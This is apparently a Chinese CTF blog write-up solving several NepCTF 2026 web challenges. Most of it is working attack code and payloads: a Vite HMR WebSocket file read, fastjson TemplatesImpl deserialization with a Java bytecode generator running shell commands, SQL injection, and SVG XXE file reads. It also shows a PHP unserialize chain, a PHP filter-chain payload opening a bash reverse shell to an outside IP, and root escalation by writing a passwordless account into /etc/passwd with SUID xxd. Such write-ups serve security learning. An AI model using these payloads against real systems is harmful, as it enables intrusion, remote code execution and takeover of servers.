文章封面:2026nepctf复现

2026nepctf复现

2026nepctf复现

挂钩都在干什么呢?

CVE-2026-39363

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
const target = '' 
const ws = new WebSocket(target, 'vite-hmr') 
ws.onopen = () => { 
    ws.send(JSON.stringify({
        type: 'custom', 
        event: 'vite:invoke', 
        data: { 
            name: 'fetchModule', 
            id: 'flag', 
            data: ['/flag?raw', null, {}], 
        }, 
    })) 
} 
ws.onmessage = (event) => {
    const msg = JSON.parse(event.data)
    const code = msg?.data?.data?.result?.code }
    if (code) { 
        console.log(code) 
        ws.close() 
}

文档编辑系统

弱密码admin/admin123登入,最开始测试注册和登入普通用户,发现cookie是JSESSIONID,所以肯定是java

然后后台是个文档编辑系统,不难想到是fastjson

还是一样先探测一下是否是fastjson,测试dns

1
{"@type":"java.net.InetSocketAddress"{"address":,"val":"wxgdolnimumjztxypzjhsni7xikh0qyu1.oast.fun"}}

不出网,不过可以确定是fastjson了

image-20260731202635526

这里不知道有无tomcat,不知道有无bcel依赖,所以不出网只能打TemplatesImpl链试试

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64的字节码"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

掏出祖传exp吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;

import java.util.Base64;


public class TemplateImplAttack {
    public static void main(String[] args) throws Exception {
        final String TEM_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        byte[] bytecode = generatePayload();
        String evilCode = Base64.getEncoder().encodeToString(bytecode);
        String payload = "{\"@type\":\"" + TEM_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
        System.out.println(payload);
//        JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
    public static byte[] generatePayload() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.setModifiers(Modifier.PUBLIC);
        cc.setSuperclass(
                pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")
        );
        String cmd =
                "java.lang.Runtime.getRuntime().exec(" +
                        "new String[]{\"/bin/sh\",\"-c\"," +
                        "\"env > /app/upload/b.txt\"});";
        cc.makeClassInitializer().insertBefore(cmd);
        // 公共无参构造函数
        cc.addConstructor(
                CtNewConstructor.make(
                        "public Test() { super(); }",
                        cc
                )
        );
        String dom =
                "com.sun.org.apache.xalan.internal.xsltc.DOM";
        String exception =
                "com.sun.org.apache.xalan.internal.xsltc.TransletException";
        String handler =
                "com.sun.org.apache.xml.internal.serializer.SerializationHandler";
        String iterator =
                "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator";
        // transform(DOM, SerializationHandler[])
        cc.addMethod(
                CtNewMethod.make(
                        "public void transform(" + dom + " document, "
                                + handler + "[] handlers) throws "
                                + exception + " {}",
                        cc
                )
        );
        // transform(DOM, DTMAxisIterator, SerializationHandler)
        cc.addMethod(
                CtNewMethod.make(
                        "public void transform(" + dom + " document, "
                                + iterator + " iterator, "
                                + handler + " handler) throws "
                                + exception + " {}",
                        cc
                )
        );
        return cc.toBytecode();
    }
}

然后发包

image-20260731222443062

虽然这边400了

但是还是写入txt了,由于题目提示文档都写在upload目录下,而普通用户有预览的功能

image-20260731222551936

web?re?

注册用户登入后发现没啥功能点,而且admin不能通过cookie伪造来伪造身份,尝试弱密码也是不行的,最后测试sql注入,发现邮箱这个位置是可以注入的

1
1@' UNION SELECT 1, username, password FROM users--

非常神奇的是好像只能这样写才行,也不知道为什么用其他字段都不回显

image-20260801101420345

拿到admin密码登入就可以文件上传,提示可以svg上传,考虑xxe了

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg"
     width="800"
     height="600">
  <text x="10" y="30">&xxe;</text>
</svg>

image-20260807183327548

可以预览解析结果,确实读到文件了

image-20260807183355141

但是没办法直接读flag,选择内网端口探测一下

80端口拿到一串php源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
class test{
    public $readflag;
    public $f;
    public $key;
    public function __construct(){
        $this->readflag=new class{
            public function __construct(){
                if(isset($_GET['file'])){
                    $GLOBALS['file']=$_GET['file'];
                }
            }
            public function __wakeup(){
                phpinfo();
            }
            public function readflag(){
                function readflag(){
                    if(isset($GLOBALS['file'])){
                        $file=$GLOBALS['file'];
                        base64_encode(include($file));
                    }
                }
            }
        };
    }
    public function __wakeup(){
        if(is_array($this->f)){
            $new=[];
            foreach($this->f as $k=>$v){
                if(is_string($v)){
                    $new[$k]=strval($v);
                }elseif(is_object($v)){
                    $new[$k]=clone $v;
                }else{
                    $new[$k]=$v;
                }
            }
            $this->f=$new;
        }
        if(is_string($this->readflag)){
            $this->readflag=strval($this->readflag);
        }
        if(is_string($this->key)){
            $this->key=strval($this->key);
        }
    }
    public function __destruct(){
        $func=$this->f;
        $GLOBALS['filename']=$this->readflag;
        if($this->key=='class'){
            new $func();
        }else if($this->key=='func'){
            $func();
        }else{
            echo base64_encode(file_get_contents('index.php'));
        }
    }
}
$ser=isset($_GET['land'])?$_GET['land']:'O:4:"test":N';
@unserialize($ser);

依旧php匿名类问题,这里ai其实已经能梭哈了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class test
{
    public $readflag;
    public $f;
    public $key;
}

// This name is produced by the anonymous class inside eval() in the target.
$anonymousClass = "class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1\$0";

$t1 = new test();
$t1->readflag = null;
$t1->f = 'test';
$t1->key = 'class';

$t2 = new test();
$t2->readflag = null;
$t2->f = [$anonymousClass, 'readflag'];
$t2->key = 'func';

$t3 = new test();
$t3->readflag = null;
$t3->f = 'readflag';
$t3->key = 'func';

$serialized = serialize([$t1, $t2, $t3]);

首先构造三个test对象

对象fkey作用
t1testclass析构时执行 new test(),触发 __construct()
t2[匿名类名, readflag]func调用匿名类的 readflag() 方法
t3readflagfunc调用前一步动态定义的全局函数

然后匿名类那一串的含义

1
$anonymousClass = "class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1\$0";

首先匿名类类名就是class@anonymous,然后后面到index.php要写明来源,(1)就是第一行,然后eval()'d code:通过 eval()执行的代码,还是指明在第一行,$0就代表第一个匿名类

接下来想要rce,可以看到有include,先读maps和libc

image-20260808193144665

但是好像没成,不过感觉是平台环境问题。作者给出一条payload,非常神奇

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY flag SYSTEM "http://127.0.0.1:80/?land=a%3A3%3A%7Bi%3A0%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22key%22%3Bs%3A5%3A%22class%22%3B%7Di%3A1%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A62%3A%22class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Findex.php%281%29+%3A+eval%28%29%27d+code%3A1%240%22%3Bi%3A1%3Bs%3A8%3A%22readflag%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A2%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A8%3A%22readflag%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7D%7D&file=php://filter/convert.iconv.UTF8.CSISO2022KR/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSGB2312.UTF-32/convert.iconv.IBM-1161.IBM932/convert.iconv.GB13000.UTF16BE/convert.iconv.864.UTF-32LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.GBK.UTF-8/convert.iconv.IEC_P27-1.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.865.UTF16/convert.iconv.CP901.ISO6937/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.MS932.MS936/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.851.UTF-16/convert.iconv.L1.T.618BIT/convert.iconv.ISO-IR-103.850/convert.iconv.PT154.UCS4/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.GBK.SJIS/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP-AR.UTF16/convert.iconv.8859_4.BIG5HKSCS/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.IBM869.UTF16/convert.iconv.L3.CSISO90/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.CP950.SHIFT_JISX0213/convert.iconv.UHC.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP861.UTF-16/convert.iconv.L4.GB13000/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.CP950.SHIFT_JISX0213/convert.iconv.UHC.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.GBK.BIG5/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1162.UTF32/convert.iconv.L4.T.61/convert.iconv.ISO6937.EUC-JP-MS/convert.iconv.EUCKR.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM921.NAPLPS/convert.iconv.855.CP936/convert.iconv.IBM-932.UTF-8/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CN.ISO2022KR/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.iconv.UCS-2.OSF00030010/convert.iconv.CSIBM1008.UTF32BE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSGB2312.UTF-32/convert.iconv.IBM-1161.IBM932/convert.iconv.GB13000.UTF16BE/convert.iconv.864.UTF-32LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.BIG5HKSCS.UTF16/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.BIG5HKSCS.UTF16/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM921.NAPLPS/convert.iconv.855.CP936/convert.iconv.IBM-932.UTF-8/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.8859_3.UTF16/convert.iconv.863.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1046.UTF16/convert.iconv.ISO6937.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1046.UTF32/convert.iconv.L6.UCS-2/convert.iconv.UTF-16LE.T.61-8BIT/convert.iconv.865.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.MAC.UTF16/convert.iconv.L8.UTF16BE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSIBM1161.UNICODE/convert.iconv.ISO-IR-156.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.IBM932.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.MS932.MS936/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=/etc/passwd&1=system(%22bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.xx.xxx.xxx%2F2333%200%3E%261'%20%3E%2Fdev%2Fnull%202%3E%261%20%26%22);exit;">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="200">
  <text x="10" y="40">&flag;</text>
</svg>

这一串居然能反解出<?php eval($_GET[1]);?>a,然后进行反弹shell,重启好几次环境才成功反弹shell

搜了一下上面这一坨是老trcik了:LFI2RCE via PHP Filters - HackTricks

拿到shell之后没权限读flag,考虑提权

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
www-data@ret2shell-22-833-1786238865:/var/www/html$ find / -user root -perm -4000 -print 2>/dev/null
<l$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/umount
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/xxd

这个xxd命令很可疑啊,作者预期解法是查看bashrc和history里面有预留好的sendflag,按照逻辑设置好key就能拿到flag

xxd反向模式拿root

1
2
3
4
cp /etc/passwd /tmp/passwd.1
printf '\ntest::0:0:TEST:/root:/bin/sh\n' >> /tmp/passwd.1
/usr/bin/xxd -p -c 10000 /tmp/passwd.1 > /tmp/passwd.1.hex
/usr/bin/xxd -r -p /tmp/passwd.1.hex /etc/passwd

由于 PAM 配置启用了pam_unix.so nullok然后这里空密码账号直接切换

1
su test -c 'id'

最后在环境变量找到flag:cat /proc/1/environ

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计